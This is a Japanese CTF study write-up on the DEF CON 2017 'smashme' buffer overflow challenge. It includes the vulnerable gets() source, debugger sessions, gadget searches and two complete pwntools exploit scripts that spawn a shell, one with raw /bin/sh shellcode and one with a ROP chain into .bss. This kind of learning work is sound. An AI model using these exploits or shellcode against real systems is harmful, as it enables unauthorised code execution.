DEF CON CTF Qualifier 2017 smashme を勉強した記録

DEF CON CTF Qualifier 2017 smashme を勉強した記録
No eXecute bit(NX)無効

※ python + pwn でアセンブラをマシン語に変換を追記

# NTT DATA のコラムで勉強

https://www.intellilink.co.jp/article/column/ctf01.html

Solution:
bof で スタックに直にshellコードを書いて jmp rsp で実行する作戦。
リターンアドレスを，jmp rspのアドレスに書き換え，その下のshellコードを実行する。

```c:smashme.c
// smashme.c
// gcc -fno-stack-protector -z execstack -static smashme.c -o smashme
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
 
int main(int argc, char *argv[]){
  char input[0x40];
 
  puts("Welcome to the Dr. Phil Show. Wanna smash?");
  fflush(stdin);
 
  gets(input);  // 0x40(64バイト)以上でオーバーフロー
 
  // 特定の文字列を含んでいるかチェック
  if(strstr(input, "Smash me outside, how bout dAAAAAAAAAAA")){
    return 0;
  }
  exit(0);
```

## bof

```
$ gdb -q ./smashme
gdb-peda$ b main
gdb-peda$ r
```

b main で止まった時のスタック
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1163572/1987e3f6-9894-6a07-6bb1-5f392479d502.png)
一番上に push ebp があり，
その下に main関数のリターンアドレス 0x401159 が見える

```
gdb-peda$ pdisass main
Dump of assembler code for function main:
   0x0000000000400b6d <+0>:     push   rbp
   0x0000000000400b6e <+1>:     mov    rbp,rsp
=> 0x0000000000400b71 <+4>:     sub    rsp,0x50
   0x0000000000400b75 <+8>:     mov    DWORD PTR [rbp-0x44],edi
   0x0000000000400b78 <+11>:    mov    QWORD PTR [rbp-0x50],rsi
   0x0000000000400b7c <+15>:    lea    rdi,[rip+0x91625]        # 0x4921a8
   0x0000000000400b83 <+22>:    call   0x410420 <puts>
   0x0000000000400b88 <+27>:    mov    rax,QWORD PTR [rip+0x2b8c19]        # 0x6b97a8 <stdin>
   0x0000000000400b8f <+34>:    mov    rdi,rax
   0x0000000000400b92 <+37>:    call   0x40fe80 <fflush>
   0x0000000000400b97 <+42>:    lea    rax,[rbp-0x40]
   0x0000000000400b9b <+46>:    mov    rdi,rax
   0x0000000000400b9e <+49>:    mov    eax,0x0
   0x0000000000400ba3 <+54>:    call   0x410270 <gets>
   0x0000000000400ba8 <+59>:    lea    rax,[rbp-0x40]
   0x0000000000400bac <+63>:    lea    rsi,[rip+0x91625]        # 0x4921d8
   0x0000000000400bb3 <+70>:    mov    rdi,rax
   0x0000000000400bb6 <+73>:    call   0x400468
   0x0000000000400bbb <+78>:    test   rax,rax
   0x0000000000400bbe <+81>:    je     0x400bc7 <main+90>
   0x0000000000400bc0 <+83>:    mov    eax,0x0
   0x0000000000400bc5 <+88>:    jmp    0x400bd1 <main+100>
   0x0000000000400bc7 <+90>:    mov    edi,0x0
   0x0000000000400bcc <+95>:    call   0x40ea90 <exit>
   0x0000000000400bd1 <+100>:   leave
   0x0000000000400bd2 <+101>:   ret
End of assembler dump.
```

getsの後にブレークポイントを設定，cで流した後，AAA を入力する

```
gdb-peda$ b *0x0000000000400ba8
Breakpoint 2 at 0x400ba8
gdb-peda$ c
Continuing.
Welcome to the Dr. Phil Show. Wanna smash?
AAA
```

スタック見てみる
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1163572/3df3c266-3189-347a-4b5d-86f23f0e61af.png)
計算通り，A * 64 で push ebp にぶつかり，その次がリターンアドレスだ
よって A は (64 + 8) = 72 必要。 



## jmp rspをさがす

### Intel Manual --> objdump

jmp rsp の opcode を信憑性高くまとめているサイトは発見できなかった。
よって本家の2000ページ以上あるpdfを調べ上げた。

https://www.intel.com/content/dam/www/public/us/en/documents/manuals/64-ia-32-architectures-software-developer-instruction-set-reference-manual-325383.pdf

レジスタをジャンプ先にする jmp命令 は ff xx の２バイト (xx はレジスタを識別するオペランド）
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1163572/07684466-4e15-8ff9-f7a8-ed8d249e7ddf.png)

レジスタをジャンプ先にする jmp命令において，レジスタを識別するオペランド
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1163572/66d63a03-50e5-ea58-0459-5af48c8f913d.png)

例えば
jmp rax であれば ff e0
jmp rsp であれば ff e4

objdumpで探してみる

```
objdump -d -M intel ./smashme | less
  49d842:       48 8b 1d ff e4 22 00    mov    rbx,QWORD PTR [rip+0x22e4ff]        # 6cbd48 <seen_objects>
```

あった。
0x49d845 でいけそう
ただし，今まで私は，objdump | less を使ってきたが，限界も感じる。
そこで先生も使っていた rp++ を使ってみた。

### rp++

```
$ wget https://github.com/downloads/0vercl0k/rp/rp-lin-x64
$ ./rp-lin-x64 -f ./smashme --rop=1 --unique | grep "jmp rsp"
0x004c25aa: clc  ; jmp rsp ;  (1 found)
0x004c54f2: cli  ; jmp rsp ;  (1 found)
0x0045f782: jmp rsp ;  (5 found)
0x004bd849: sar ebp, cl ; jmp rsp ;  (1 found)
0x004bd84a: std  ; jmp rsp ;  (1 found)
0x004c25a9: xor al, bh ; jmp rsp ;  (1 found)
```

0x49d845は含まれていない。
0x45f782を検証してみる

```
objdump -d -M intel ./smashme | less
  45f77c:       48 c7 85 78 ef ff ff    mov    QWORD PTR [rbp-0x1088],0x4b2be4
  45f783:       e4 2b 4b 00
```

やはり思った通り，less の検索では発見できない場所で発見してる。

### python + pwn
知らなかった。こんなの

```
$ python
Python 2.7.17 (default, Feb 27 2021, 15:10:58) 
[GCC 7.5.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> context.arch = "amd64"
>>> asm("jmp rsp")
'\xff\xe4'
>>> binary = elf.load("smashme")
[*] '/home/xxx/share/smashme'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments
>>> hex(next(binary.search("\xff\xe4")))
'0x45f782'
```

## 攻撃コード

```python:smashme1.py
# coding: UTF-8
# https://www.intellilink.co.jp/article/column/ctf01.html

import pwn
import struct

#io = pwn.remote("smashme_omgbabysfirst.quals.shallweplayaga.me ", 57348)
io = pwn.process("./smashme")

ret = io.readuntil("Welcome to the Dr. Phil Show. Wanna smash?")
print(ret)

smash_me = b"Smash me outside, how bout dAAAAAAAAAAA"
bufsize = 64+8
addr_jmp_rsp = 0x49d845

'''
  49d842:       48 8b 1d ff e4 22 00    mov    rbx,QWORD PTR [rip+0x22e4ff]        # 6cbd48 <seen_objects>
'''


# Linux/x86-64 - Execute /bin/sh - 27 bytes by Dad`
# http://shell-storm.org/shellcode/files/shellcode-806.php
shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

s = smash_me
s += b"A" * (bufsize - len(smash_me))
#s += struct.pack("<Q",addr_jmp_rsp)
s += pwn.p64(addr_jmp_rsp)
s += shellcode


print(s)

#io.send(s)
io.sendline(s)
io.interactive()
```

実行

```
# python smashme1.py
[+] Starting local process './smashme': pid 318
Welcome to the Dr. Phil Show. Wanna smash?
Smash me outside, how bout dAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x82E\x00\x00H\xbbѝ\x96\x91Ќ\x97\xffHST_\x99RWT^\xb0;\x0f
[*] Switching to interactive mode

$ ls

```

~~なぜか１回目のlsには反応しないけど，２回目のlsで動いた。~~
io.send(s) --> io.sendline(s)に変更したら，１回のlsで動くようになった。


# st98 の日記帳 で勉強

https://st98.github.io/diary/posts/2017-05-02-def-con-ctf-2017-qualifiers.html

st98様，大変参考になりました。ありがとうございます。

さっそく新技

```
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : Partial
```

先生によると
bss セグメントにシェルコードを置いて実行してしまいましょう。
とある。

bss セグメント？　初耳

https://ja.wikipedia.org/wiki/.bss

https://www602.math.ryukoku.ac.jp/CSys2/2019/printed/part13.pdf

んーよくわらない。

先生の攻撃コードに出てくる

```
payload += p64(0x4014d6) # pop rdi; ret
payload += p64(0x6cab60) # .bss
payload += p64(0x40fad0) # gets
payload += p64(0x6cab60) # .bss
```

の検証

pop rdi ; ret

```
$ objdump -d -M intel ./smashme | less
  4014d5:       41 5f                   pop    r15
  4014d7:       c3                      ret
```

gets

```
$ objdump -d -M intel ./smashme | less
  4009e2:       e8 e9 f0 00 00          call   40fad0 <_IO_gets>
```

.bss

http://www.ertl.jp/~takayuki/readings/info/no02.html

```
$ objdump -h  ./smashme | less
 25 .bss          00001878  00000000006cab60  00000000006cab60  000cab50  2**5
                  ALLOC
```

## 攻撃コード

```python:smashme2.py
# coding: UTF-8
# https://st98.github.io/diary/posts/2017-05-02-def-con-ctf-2017-qualifiers.html
import time
from pwn import *

context(os='linux', arch='amd64')

payload = ''
payload += 'Smash me outside, how bout dAAAAAAAAAAA'
payload += 'A' * (64+8 - len(payload))

payload += p64(0x4014d6) # pop rdi; ret
payload += p64(0x6cab60) # .bss
payload += p64(0x40fad0) # gets
payload += p64(0x6cab60) # .bss  <-- gets内のretでキックされ，shellコードが実行される

print payload #  <-- gets(.bss) が実行され，入力待ちになる
time.sleep(.5)
print asm(shellcraft.sh()) #  <-- gets(.bss) にshellコードが送られ，.bssに書き込まれる
```

実行

```
$ (python smashme2.py; cat) | ./smashme
Welcome to the Dr. Phil Show. Wanna smash?
ls
```

~~仕組みは理解できないが，~~動いた。

gets で標準入力に渡されたシェルコードを .bss に書いてるところまでは理解できた。
printが２か所あるのは，たぶんそのため。
そして，getsはcallで呼ばれたと勘違いして ret し，.bssに書かれたシェルコードが動き出すということか。
こういうのを ret2read と呼ぶのかな？
若い人達が pwn にはまるわけだ。知的ゲームだ。

callerとcallee

http://herumi.in.coocan.jp/prog/x64.html

gets

https://marycore.jp/prog/c-lang/dangerous-gets-safely-gets/